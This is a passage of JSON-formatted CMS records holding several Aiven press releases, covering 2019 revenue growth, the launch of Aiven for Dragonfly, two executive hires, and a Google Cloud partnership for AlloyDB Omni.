success.”"}],"markDefs":[],"style":"normal"},{"_key":"kBSjwLbI","_type":"block","children":[{"_key":"Uj6OVSqG","_type":"span","marks":[],"text":"Enterprises are awash in data and batch processing is no longer good enough to maintain a competitive advantage. As data pipelines have modernized, they have rendered data actionable in real-time. But the components that comprise the pipelines are complex, making them difficult to implement and manage."}],"markDefs":[],"style":"normal"},{"_key":"OTOek6uf","_type":"block","children":[{"_key":"5175dwma","_type":"span","marks":[],"text":"Aiven’s platform removes this obstacle, allowing enterprises to build these modern pipelines and take advantage of real-time use cases such as IoT. For example, Aiven for Apache Kafka underlies Comcast’s Xfinity Home IoT concept, which requires high availability and low end-to-end latency."}],"markDefs":[],"style":"normal"},{"_key":"7fwD3sVO","_type":"block","children":[{"_key":"HWocx2v8","_type":"span","marks":[],"text":"“At Comcast, we needed a robust managed Kafka solution for some of our most critical workflows. Based on our evaluation, Aiven clearly offers superior cost, support, and performance,” said Adam Hertz, VP of Engineering."}],"markDefs":[],"style":"normal"},{"_key":"2XpzBWRB","_type":"block","children":[{"_key":"sIsjI05w","_type":"span","marks":[],"text":"Further propelling its 2019 momentum, Aiven plans to expand with M3 time series database and Apache Flink stream processing product releases in 2020, maintaining its quick-to-market strategy and leadership position. Aiven will continue to be the first database services provider to offer major version updates to its current offering, such as "},{"_key":"9UI6fSsV","_type":"span","marks":["m5814761259150"],"text":"PostgreSQL 12"},{"_key":"OqXpflqW","_type":"span","marks":[],"text":"{:target=\"\\blank\"}, which became available in November 2019. The success behind the release of "},{"_key":"J61UG6Kf","_type":"span","marks":["m3878496420285"],"text":"Kafka Connect as a Service"},{"_key":"6ECaks8C","_type":"span","marks":[],"text":" is another demonstration of the caliber of service and pace Aiven intends to maintain throughout 2020."}],"markDefs":[{"_key":"m5814761259150","_type":"link","href":"https://aiven.io/postgresql"},{"_key":"m3878496420285","_type":"link","href":"https://aiven.io/kafka-connect"}],"style":"normal"},{"_key":"gKsKxgPE","_type":"block","children":[{"_key":"S5yNSMDh","_type":"span","marks":[],"text":"To learn more about Aiven’s capabilities, visit: "},{"_key":"3s1Y6H5K","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"kUFkwPJc","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"JK0gNFBx","_type":"block","children":[{"_key":"ISh1JGed","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"JduObo04","_type":"block","children":[{"_key":"TwcJ170n","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"MMiADjo4","_type":"block","children":[{"_key":"TmDYyUnI","_type":"span","marks":[],"text":"You can visit "},{"_key":"waS0YS65","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"4Sc1Ceix","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"J92xRPnt","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"EnCc9w1Q","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2019-12-18T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In 2019, the company tripled its revenue, added an Amazon executive to the board, opened new offices \u0026 more.","metaTitle":"Aiven triples revenue \u0026 adds Amazon executive to board"},"slug":{"_type":"slug","current":"/press/aiven-triples-revenue-adds-amazon-executive-to-board"},"subtitle":"Aiven Press Release: In 2019, the company tripled its revenue, added an Amazon executive to the board, opened new offices \u0026 more.","title":"Aiven triples revenue and adds Amazon executive to board"}
{"__i18n_lang":"en","_createdAt":"2024-03-07T20:48:51Z","_id":"c1ab27c1-128e-4941-a4ff-1ac93d92448a","_rev":"sx3m64XnoJyDsAwkmJ9pE8","_type":"pressRelease","_updatedAt":"2024-07-05T08:45:36Z","content":[{"_key":"698bf3b89cac","_type":"block","children":[{"_key":"f8b7cf4597da0","_type":"span","marks":[],"text":"HELSINKI, Finland — March 20, 2024 — Aiven, the open source cloud data platform company, today announced the general availability of Aiven for Dragonfly"},{"_key":"f8b7cf4597da1","_type":"span","marks":["strong"],"text":"®"},{"_key":"f8b7cf4597da2","_type":"span","marks":[],"text":", enabling organizations to handle high volumes of data and user traffic, fast."}],"markDefs":[],"style":"normal"},{"_key":"05935938687f","_type":"block","children":[{"_key":"c97049c7c8b10","_type":"span","marks":["649ee6c48fe3"],"text":"Aiven for Dragonfly"},{"_key":"12a963ed3a04","_type":"span","marks":[],"text":" is ideal for businesses that require high-performance, in-memory data storage, real-time processing capabilities, and the ability to significantly scale. It is an advanced"},{"_key":"c97049c7c8b11","_type":"span","marks":["strong"],"text":" "},{"_key":"c97049c7c8b12","_type":"span","marks":[],"text":"Redis®-compatible in-memory database service that handles massive data workloads with ease and speed. Aiven for Dragonfly delivers nearly 700 percent higher throughput (requests per second) and uses around 25 percent less memory compared to open source Redis on similar hardware, according to our benchmark study [1]."}],"markDefs":[{"_key":"649ee6c48fe3","_type":"internalLink","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"}}],"style":"normal"},{"_key":"279e620b1010","_type":"block","children":[{"_key":"69fab1e735940","_type":"span","marks":[],"text":"Aiven for Dragonfly adds additional features and performance boosters, including an AI vector search function that delivers super fast response times for modern AI applications. Aiven for Dragonfly is available on any cloud a customer chooses, making it easy for businesses to get started and focus on innovating and developing applications rather than managing data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"1a6e389d7a1b","_type":"block","children":[{"_key":"bc6db65aaf150","_type":"span","marks":[],"text":"According to Gartner®, \"The database management system (DBMS) market experienced 14.4% growth in 2022, beating the overall software market growth of 11.3%. Growth was again primarily driven by cloud database platform as a service (dbPaaS), whose share has now reached over half (55%) of the overall market.\""},{"_key":"bc6db65aaf151","_type":"span","marks":["em"],"text":" "},{"_key":"bc6db65aaf152","_type":"span","marks":[],"text":"[2] The DBMS market has exploded as a critical business system for data, contributing to better business decision-making, improved customer experiences, and increased cost-efficiency."}],"markDefs":[],"style":"normal"},{"_key":"2ac82373d549","_type":"block","children":[{"_key":"8931f212a3f10","_type":"span","marks":[],"text":"Jonah Kowall, VP Product Management, Aiven, said, “Businesses have an endless thirst for data, efficiency, and high performance. Aiven for Dragonfly, now available on the Aiven cloud data platform, delivers low latency and high performance to handle large-scale in-memory data workloads efficiently. This technology can power use cases from caching to gaming leaderboards, and ecommerce to highly personalized media experiences. The service further demonstrates our commitment to delivering the most innovative core data infrastructure technologies to enable our customers to focus on their core business.”"}],"markDefs":[],"style":"normal"},{"_key":"607ea91033b7","_type":"block","children":[{"_key":"60cfe43674030","_type":"span","marks":["f8f880c9e1df"],"text":"Aiven for Dragonfly"},{"_key":"60cfe43674031","_type":"span","marks":["strong"],"text":" "},{"_key":"ef3fab4538ab","_type":"span","marks":[],"text":"delivers:"}],"markDefs":[{"_key":"f8f880c9e1df","_type":"internalLink","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"}}],"style":"normal"},{"_key":"a1c9dcea41d6","_type":"block","children":[{"_key":"35ac907c40ab0","_type":"span","marks":[],"text":"Superior scalability — It handles large data volumes and processes hundreds of thousands of requests per second, making it ideal for caching and real-time applications like social media and online gaming."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a7e2a7761ba0","_type":"block","children":[{"_key":"5b8f3db2f3f80","_type":"span","marks":[],"text":"Efficiency — It uses only a fraction of the resources required by other Redis-compatible solutions, providing high throughput and cost savings without compromising performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c76346ee8926","_type":"block","children":[{"_key":"b4ab32fa56730","_type":"span","marks":[],"text":"Advanced capabilities — It goes beyond basic caching with support for JSON documents and vector search, unlocking new possibilities for applications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"926621222a34","_type":"block","children":[{"_key":"58f4f9cfc3420","_type":"span","marks":[],"text":"Seamless management — Aiven for Dragonfly removes infrastructure complexities, from backups and security to upgrades and cloud migrations, on one platform, and delivers 99.99% uptime and near-zero downtime operations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"53081c1df691","_type":"block","children":[{"_key":"1ebe65c8bd600","_type":"span","marks":[],"text":"Compatibility — The new service offers a familiar Redis experience and easy migration from Aiven for Redis to Aiven for Dragonfly, requiring no code changes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c09d4507aef6","_type":"block","children":[{"_key":"af006a7978c20","_type":"span","marks":[],"text":"Conrad Electronic provides an advanced sourcing platform for technical supplies to 21 million customers worldwide. Janek Wonner, Head of SRE and Cloud technology, said, “Speed and scale are absolute necessities for our business. Our experience using Aiven for Dragonfly has been really valuable to support these business needs, from the ease of migration to improved performance and scalability. Being able to move from Aiven for Redis to Aiven for Dragonfly as our data needs grow, with ease and familiarity, is a real advantage of the Aiven platform. We can focus on our business growth with the confidence that our data infrastructure is as robust, scalable, and as fast as our business requires.”"}],"markDefs":[],"style":"normal"},{"_key":"14160043120a","_type":"block","children":[{"_key":"4e5fbefa880f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"fa84c8ee0922","_type":"block","children":[{"_key":"83fe0c9cdb7d0","_type":"span","marks":[],"text":"Oded Poncz, Co-Founder and CEO, Dragonfly said, “We’re excited to welcome Aiven to the Dragonfly community. Aiven has shown a commitment to delivering high-performance, scalable data services to their customers, and we’re very pleased that they are able to utilize Dragonfly to deliver a service that will satisfy large, complex workloads that Redis could not scale to support.”"}],"markDefs":[],"style":"normal"},{"_key":"a8616deaf8bb","_type":"block","children":[{"_key":"56e964963e27","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"107cddb060be","_type":"block","children":[{"_key":"4bb17d5304e20","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"c7fbaad77d70","_type":"block","children":[{"_key":"7128718ce0c80","_type":"span","marks":[],"text":"Aiven is the trusted open source data platform for everyone. Aiven enables anyone to create, use, and manage data applications with confidence. With Aiven, customers can drive business results from open source data technologies that trigger true transformations on a global scale. Valued at $3 billion, Aiven is backed by Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. The company is headquartered in Helsinki with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. To learn more about Aiven, visit aiven.io and follow @aiven_io on X."}],"markDefs":[],"style":"normal"},{"_key":"be0fe3db708a","_type":"block","children":[{"_key":"7e73c83adfd00","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"75e05ef51009","_type":"block","children":[{"_key":"ca2ef1c62f3d","_type":"span","marks":["strong"],"text":"About Dragonfly"}],"markDefs":[],"style":"normal"},{"_key":"cbb0127603f6","_type":"block","children":[{"_key":"26f34db795360","_type":"span","marks":[],"text":"DragonflyDB is a software company with dual headquarters in Tel Aviv and San Francisco. DragonflyDB is the inventor and maintainer of the "},{"_key":"20b231407967","_type":"span","marks":["8fa99c36ce04"],"text":"Dragonfly"},{"_key":"2d2e26d21da4","_type":"span","marks":[],"text":" project on GitHub, which is a highly scalable and cost-effective alternative to Redis. DragonflyDB also offers Dragonfly Cloud, a fully managed in-memory data store."}],"markDefs":[{"_key":"8fa99c36ce04","_type":"internalLink","internalLink":{"_ref":"2b6668a5-9493-497a-bf05-bc3dac0c8851","_type":"reference"}}],"style":"normal"},{"_key":"09892ed4d7b4","_type":"block","children":[{"_key":"4ee9275c0fe8","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"4a1e57370356","_type":"block","children":[{"_key":"72b69de006de0","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"f1b84ca5cb97","_type":"block","children":[{"_key":"1fa8008c5a760","_type":"span","marks":[],"text":"press@aiven.io"}],"markDefs":[],"style":"normal"},{"_key":"69d40f6a08db","_type":"block","children":[{"_key":"ff15a32b5a4f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c1460ff40f80","_type":"block","children":[{"_key":"768997e80fd20","_type":"span","marks":[],"text":"[1] Benchmark performed on an AWS environment, with instance types that vary from 8 CPUs and 64GB RAM, 16 CPUs and 256GB RAM, and 32CPUs and 512GB RAM."}],"markDefs":[],"style":"normal"},{"_key":"d98b949af7eb","_type":"block","children":[{"_key":"bc8eb58ac91b0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f9d3575228f9","_type":"block","children":[{"_key":"271e8c66f9260","_type":"span","marks":[],"text":"[2] Gartner, Market Share Analysis: Database Management Systems, Worldwide, 2022, 8 June 2023. GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved"}],"markDefs":[],"style":"normal"},{"_key":"4cb54c700964","_type":"block","children":[{"_key":"e7a71e03241d0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-03-20T07:05:34.002Z","seo":{"_type":"metaData","metaDescription":"Aiven for Dragonfly delivers scale and performance for data hungry businesses","metaTitle":"General Availability of Aiven for Dragonfly"},"slug":{"_type":"slug","current":"/press/general-availability-of-aiven-for-dragonfly"},"subtitle":"Aiven for Dragonfly delivers scale and performance for data hungry businesses","title":"General Availability of Aiven for Dragonfly Boosts Data Performance by 700% to Help Solve Redis Scalability Issues"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"eIT6RNTnBxOiMc04ccNuh","_rev":"3re4XGUaXqpLG8nUTzj5Sc","_type":"pressRelease","_updatedAt":"2022-12-20T07:32:14Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io/ \"Aiven homepage\"), a startup that combines the best open source technologies with cloud infrastructure, announced today that Emma Paajanen and Jani Asikanius joined the company as the new VP of marketing and VP of sales, EMEA, respectively. Both executives bring a wealth of experience to the team and will look to continue the company’s growth initiatives.\n\nThe strategic additions come shortly after Aiven’s recent $40M [Series B](https://aiven.io/press/aiven-raises-40-million-series-b/ \"Aiven series b announcement\"). Following the round, Aiven put an emphasis on several new growth initiatives to expand sales teams and heighten global recognition of Aiven’s product offering. \n\n“We’re excited to have Emma and Jani join the Aiven executive team,” said Oskari Saarenmaa, CEO of Aiven. “Both have tremendous expertise, and we look forward to them bringing their years of knowledge and experience to help propel Aiven's growth initiatives.”\n\nPaajanen has more than 10 years of communications and marketing experience. Prior to joining Aiven, she served as director of marketing at F-Secure, a global cyber security company, as well as a communications consultant for Nokia Technologies.\n\n“Aiven is entering an exciting growth phase, and I look forward to being part of a team that gets to help foster the brand and generate product demand through direct digital customer acquisition,” Paajanen said. “There’s a rising importance and recognition around open source software, and I’m looking forward to creating opportunities for Aiven to be a part of those continued conversations.” \n\nAsikanius brings more than 20 years of sales and leadership experience with him to Aiven. Before joining the company, he held the position of VP of sales for EMEA and APAC at Idomoo, a personalized video as a service (PVaaS) platform. His experience also includes leadership and sales roles at technology leaders like NetCracker and Amdocs.\n\n“Following the recent funding round and major expansion of the sales team in the Americas, I’m thrilled to lead the sales team’s growth initiatives in EMEA,” Asikanius said. “Aiven has grown at a tremendous rate, and I’m looking forward to continuing that by extending our business with the existing customer base and bringing Aiven’s cutting edge solution to new customers.”\n\nTo learn more about Aiven’s leadership team, visit [https://aiven.io/about](https://aiven.io/about \"Aiven about page\"). \n\n__About Aiven__\n\nHeadquartered in Helsinki with offices in Berlin, Sydney and Boston, Aiven is an SOC 2 and ISO 27001 certified cloud data platform provider, operating managed open source database, event streaming, cache, search, and graphing solutions for over customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"ilTIzYNw","_type":"block","children":[{"_key":"4f446c74f2ba","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — May 12, 2020-"},{"_key":"Z931b4gW","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"krdBkMUC","_type":"span","marks":[],"text":", a startup that combines the best open source technologies with cloud infrastructure, announced today that Emma Paajanen and Jani Asikanius joined the company as the new VP of marketing and VP of sales, EMEA, respectively. Both executives bring a wealth of experience to the team and will look to continue the company’s growth initiatives."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"n2mBKjS9","_type":"block","children":[{"_key":"CRf6kXVg","_type":"span","marks":[],"text":"The strategic additions come shortly after Aiven’s recent $40M "},{"_key":"AbZLGm1U","_type":"span","marks":["m792217054649"],"text":"Series B"},{"_key":"MsMMHXFn","_type":"span","marks":[],"text":". Following the round, Aiven put an emphasis on several new growth initiatives to expand sales teams and heighten global recognition of Aiven’s product offering."}],"markDefs":[{"_key":"m792217054649","_type":"link","href":"https://www.tfir.io/aiven-raises-40-million-in-series-b-funding/"}],"style":"normal"},{"_key":"XTBo6eiJ","_type":"block","children":[{"_key":"uqKKVmN9","_type":"span","marks":[],"text":"“We’re excited to have Emma and Jani join the Aiven executive team,” said Oskari Saarenmaa, CEO of Aiven. “Both have tremendous expertise, and we look forward to them bringing their years of knowledge and experience to help propel Aiven's growth initiatives.”"}],"markDefs":[],"style":"normal"},{"_key":"rDBWxcey","_type":"block","children":[{"_key":"TbX6ItU1","_type":"span","marks":[],"text":"Paajanen has more than 10 years of communications and marketing experience. Prior to joining Aiven, she served as director of marketing at F-Secure, a global cyber security company, as well as a communications consultant for Nokia Technologies."}],"markDefs":[],"style":"normal"},{"_key":"3RB9zg8U","_type":"block","children":[{"_key":"mecQhADv","_type":"span","marks":[],"text":"“Aiven is entering an exciting growth phase, and I look forward to being part of a team that gets to help foster the brand and generate product demand through direct digital customer acquisition,” Paajanen said. “There’s a rising importance and recognition around open source software, and I’m looking forward to creating opportunities for Aiven to be a part of those continued conversations.”"}],"markDefs":[],"style":"normal"},{"_key":"krcIFIpL","_type":"block","children":[{"_key":"5eN2wbdx","_type":"span","marks":[],"text":"Asikanius brings more than 20 years of sales and leadership experience with him to Aiven. Before joining the company, he held the position of VP of sales for EMEA and APAC at Idomoo, a personalized video as a service (PVaaS) platform. His experience also includes leadership and sales roles at technology leaders like NetCracker and Amdocs."}],"markDefs":[],"style":"normal"},{"_key":"cLYVKpNj","_type":"block","children":[{"_key":"Rvs1BtkQ","_type":"span","marks":[],"text":"“Following the recent funding round and major expansion of the sales team in the Americas, I’m thrilled to lead the sales team’s growth initiatives in EMEA,” Asikanius said. “Aiven has grown at a tremendous rate, and I’m looking forward to continuing that by extending our business with the existing customer base and bringing Aiven’s cutting edge solution to new customers.”"}],"markDefs":[],"style":"normal"},{"_key":"K2SlxC69","_type":"block","children":[{"_key":"FCn8uauV","_type":"span","marks":[],"text":"To learn more about Aiven’s leadership team, visit "},{"_key":"pYT7elWr","_type":"span","marks":["m9694267506917"],"text":"https://aiven.io/about"},{"_key":"XDmFGXlZ","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m9694267506917","_type":"link","href":"https://aiven.io/about"}],"style":"normal"},{"_key":"DPZpzo44","_type":"block","children":[{"_key":"l5MmD0xH","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"VnP5jDNM","_type":"block","children":[{"_key":"fsERbO7T","_type":"span","marks":[],"text":"Headquartered in Helsinki with offices in Berlin, Sydney and Boston, Aiven is an SOC 2 and ISO 27001 certified cloud data platform provider, operating managed open source database, event streaming, cache, search, and graphing solutions for over customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"oP25Aeap","_type":"block","children":[{"_key":"sdPyG7eB","_type":"span","marks":[],"text":"You can visit "},{"_key":"gLBKbrUK","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"b7WJmm12","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"20ytBBqM","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"g97NN2PD","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-05-12T00:00:00.000Z","seo":{"metaDescription":"Aiven’s additions include a VP of marketing and a VP of sales, EMEA to help the tech company to continue advancing its international traction.","metaTitle":"Aiven adds two executive hires to fuel global expansion"},"slug":{"_type":"slug","current":"/press/aiven-adds-two-executive-hires-to-fuel-global-expansion"},"subtitle":"Aiven’s additions include a VP of marketing and a VP of sales, EMEA to help the tech company to continue advancing its international traction.","title":"Aiven adds two executive hires to fuel global expansion"}
{"__i18n_lang":"en","_createdAt":"2024-10-01T14:36:32Z","_id":"3ea23ffa-ab8d-4a18-abb7-e689516a356b","_rev":"HbJlGL0WtkWKsJiz7oG9ET","_type":"pressRelease","_updatedAt":"2024-10-02T13:48:20Z","content":[{"_key":"88f6fb849129","_type":"block","children":[{"_key":"8c69d87487dc0","_type":"span","marks":["strong"],"text":"Helsinki, Finland - October 2nd, 2024"},{"_key":"57c4e0ea6032","_type":"span","marks":[],"text":" - Aiven, the trusted data and AI platform company, today announced its strategic partnership with Google Cloud and the launch of "},{"_key":"db0a1b57035e","_type":"span","marks":["bd54fd1a3dfc"],"text":"Aiven for AlloyDB Omni"},{"_key":"7b4b9157c088","_type":"span","marks":[],"text":". The collaboration will combine the high-performance of Google Cloud's downloadable database, AlloyDB Omni, with Aiven's fully managed, multi-cloud, data infrastructure platform."}],"markDefs":[{"_key":"bd54fd1a3dfc","_type":"link","href":"https://aiven.io/alloydb-omni"}],"style":"normal"},{"_key":"1006cffffc51","_type":"block","children":[{"_key":"0d493b4dbb9c0","_type":"span","marks":[],"text":"As a managed cloud database service, Aiven for AlloyDB Omni will provide organizations with a simplified and secure way to deploy, manage, and scale AlloyDB Omni on Google Cloud, AWS, and Azure, allowing seamless multi-cloud operations for organizations. It will enable businesses to leverage Google Cloud’s industry-leading database service, AlloyDB Omni, while minimizing operational overhead and simplifying database management, allowing them to focus on building innovative applications and driving business value."}],"markDefs":[],"style":"normal"},{"_key":"db14ea98566c","_type":"block","children":[{"_key":"3e5656653a400","_type":"span","marks":[],"text":"AlloyDB Omni offers organizations exceptional performance* and scalability for PostgreSQL workloads, delivering more than 2X faster performance than standard PostgreSQL for transactional workloads, 100X faster analytical queries than standard PostgreSQL, and 4X faster vector queries than the HNSW index in standard PostgreSQL. With Aiven for AlloyDB Omni, businesses will be able to experience all of these benefits across multi-cloud environments while also integrating seamlessly into Aiven’s existing product portfolio, further strengthening its offerings to customers."}],"markDefs":[],"style":"normal"},{"_key":"a1f7b2c0ab01","_type":"block","children":[{"_key":"abdf2f00ba140","_type":"span","marks":[],"text":"\"Our partnership with Google Cloud will deliver AlloyDB Omni to our customers on their preferred infrastructure, regardless of whether it's AWS, Azure, or Google Cloud,\" said Oskari Saarenmaa, Chief Executive Officer, Aiven. \"It combines AlloyDB Omni's industry-leading technology with Aiven's expertise in managing multi-cloud data infrastructure, and empowers organizations to build and scale next-generation PostgreSQL applications faster and easier than ever before.\""}],"markDefs":[],"style":"normal"},{"_key":"9c86dc811b9f","_type":"block","children":[{"_key":"e20695eae0450","_type":"span","marks":[],"text":"\"In today's rapidly evolving digital landscape, businesses need the flexibility to run their databases and applications wherever they are, with superior performance, availability, and scale,\" said Andi Gutmans, GM \u0026 VP of Databases at Google Cloud. \"We developed AlloyDB Omni in order to enable our customers to run the most demanding PostgreSQL workloads in any environment including on-premises and across clouds. With Aiven for AlloyDB Omni, customers will now be able to get a fully managed AlloyDB Omni database service not only on Google Cloud, but also on AWS and Azure.”"}],"markDefs":[],"style":"normal"},{"_key":"40c4a86180bf","_type":"block","children":[{"_key":"df4bfe9bfa4b0","_type":"span","marks":[],"text":"Aiven for AlloyDB will provide:"}],"markDefs":[],"style":"normal"},{"_key":"a3d7e63eca43","_type":"block","children":[{"_key":"d92308db66130","_type":"span","marks":["strong"],"text":"Simplified Database Management:"},{"_key":"d92308db66131","_type":"span","marks":[],"text":" Aiven's expertise streamlines the complexities of deploying, managing, and scaling AlloyDB Omni, reducing time and resources for organizations to focus on their core business objectives."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2c64089e6e67","_type":"block","children":[{"_key":"ce5f02f82c3a0","_type":"span","marks":["strong"],"text":"Multi-Cloud Flexibility:"},{"_key":"ce5f02f82c3a1","_type":"span","marks":[],"text":" The partnership enables organizations to deploy AlloyDB Omni on their preferred cloud platform (Google Cloud, AWS, Azure), providing the freedom to choose the best infrastructure for their specific needs."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"14070ee3fb0c","_type":"block","children":[{"_key":"b4d63d7f3cce0","_type":"span","marks":["strong"],"text":"Enhanced Security \u0026 Compliance:"},{"_key":"b4d63d7f3cce1","_type":"span","marks":[],"text":" Aiven's platform ensures consistent security, compliance, and governance across all deployed AlloyDB Omni instances, regardless of the underlying cloud infrastructure."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"95fc175202d0","_type":"block","children":[{"_key":"9abba56dc6b00","_type":"span","marks":["strong"],"text":"Optimized Performance:"},{"_key":"9abba56dc6b01","_type":"span","marks":[],"text":" Aiven's expertise in cloud data infrastructure helps ensure optimal performance and scalability of AlloyDB Omni, leading to faster application response times and improved user experiences."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7eeec5ea2e98","_type":"block","children":[{"_key":"d6de53ad9f8f0","_type":"span","marks":["strong"],"text":"Accelerated AI Adoption:"},{"_key":"d6de53ad9f8f1","_type":"span","marks":[],"text":" AlloyDB Omni's native vector search and Vertex AI integration, paired with Aiven's platform, will enable rapid development and deployment of AI-powered applications, unlocking deeper insights from data."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c3126da10c11","_type":"block","children":[{"_key":"a4e5aa8d796a0","_type":"span","marks":[],"text":"Learn more about Aiven for AlloyDB Omni by reading Aiven’s "},{"_key":"08ba57d70ef3","_type":"span","marks":["0376cc2ad552"],"text":"blog article"},{"_key":"320b387205f9","_type":"span","marks":[],"text":" and visiting its "},{"_key":"ac6fbb9b1adb","_type":"span","marks":["2fddd7d45a5e"],"text":"product page"},{"_key":"f923d3456c51","_type":"span","marks":[],"text":" where organizations can sign up for additional information and early access. General availability is expected in 2025."}],"markDefs":[{"_key":"2fddd7d45a5e","_type":"link","href":"https://aiven.io/alloydb-omni"},{"_key":"0376cc2ad552","_type":"link","href":"https://aiven.io/blog/unleash-alloydb-omni-across-clouds"}],"style":"normal"},{"_key":"f2b19b2df363","_type":"block","children":[{"_key":"f91550ef6b260","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bbe3f0a12a36","_type":"block","children":[{"_key":"2ff67e96b0ec0","_type":"span","marks":[],"text":"* Sources:"}],"markDefs":[],"style":"normal"},{"_key":"bb491356c510","_type":"block","children":[{"_key":"5c55077dd2300","_type":"span","marks":["2a9d0352e225"],"text":"Aiven for AlloyDB Omni"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2a9d0352e225","_type":"link","href":"https://aiven.io/alloydb-omni"}],"style":"normal"},{"_key":"bdf005e09a3e","_type":"block","children":[{"_key":"c770e21e6d4c0","_type":"span","marks":["b38ce62d4f83"],"text":"Aiven Platform"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b38ce62d4f83","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"},{"_key":"7f6a1682c5ba","_type":"block","children":[{"_key":"3516b3fbb72a0","_type":"span","marks":["35a3e7a8e526"],"text":"AlloyDB Omni"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"35a3e7a8e526","_type":"link","href":"https://cloud.google.com/alloydb/omni?hl=en"}],"style":"normal"},{"_key":"909cbd69e426","_type":"block","children":[{"_key":"f333bb5f10b20","_type":"span","marks":["1e4c1ae3bd80"],"text":"AlloyDB AI"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1e4c1ae3bd80","_type":"link","href":"https://cloud.google.com/alloydb/ai?hl=en"}],"style":"normal"},{"_key":"735ff6685b4d","_type":"block","children":[{"_key":"eaafe13218dc0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"64f8a0a51348","_type":"block","children":[{"_key":"6fb8115900aa0","_type":"span","marks":[],"text":"Aiven is a global data and AI platform company that enables organizations to get more value from their data. The Aiven Data and AI Platform combines open-choice services to rapidly stream, store and serve data across major cloud providers — simply and securely. Aiven is trusted by thousands of customers worldwide to power their innovation and create next-generation applications confidently and quickly."}],"markDefs":[],"style":"normal"},{"_key":"f4477821e12c","_type":"block","children":[{"_key":"6d4ab0b2c4cb0","_type":"span","marks":[],"text":"Aiven is headquartered in Helsinki, Finland, with global offices in Europe, North America and Asia."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-10-02T14:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven Partners with Google Cloud to Offer AlloyDB Omni on Amazon Web Services, Microsoft Azure and Google Cloud","metaImage":{"_type":"mainImage","asset":{"_ref":"image-8ef7015b457e7cd6a40bb8b88528f7e6171071ad-1200x630-jpg","_type":"reference"}},"metaTitle":"Strategic partnership with Google marks launch of 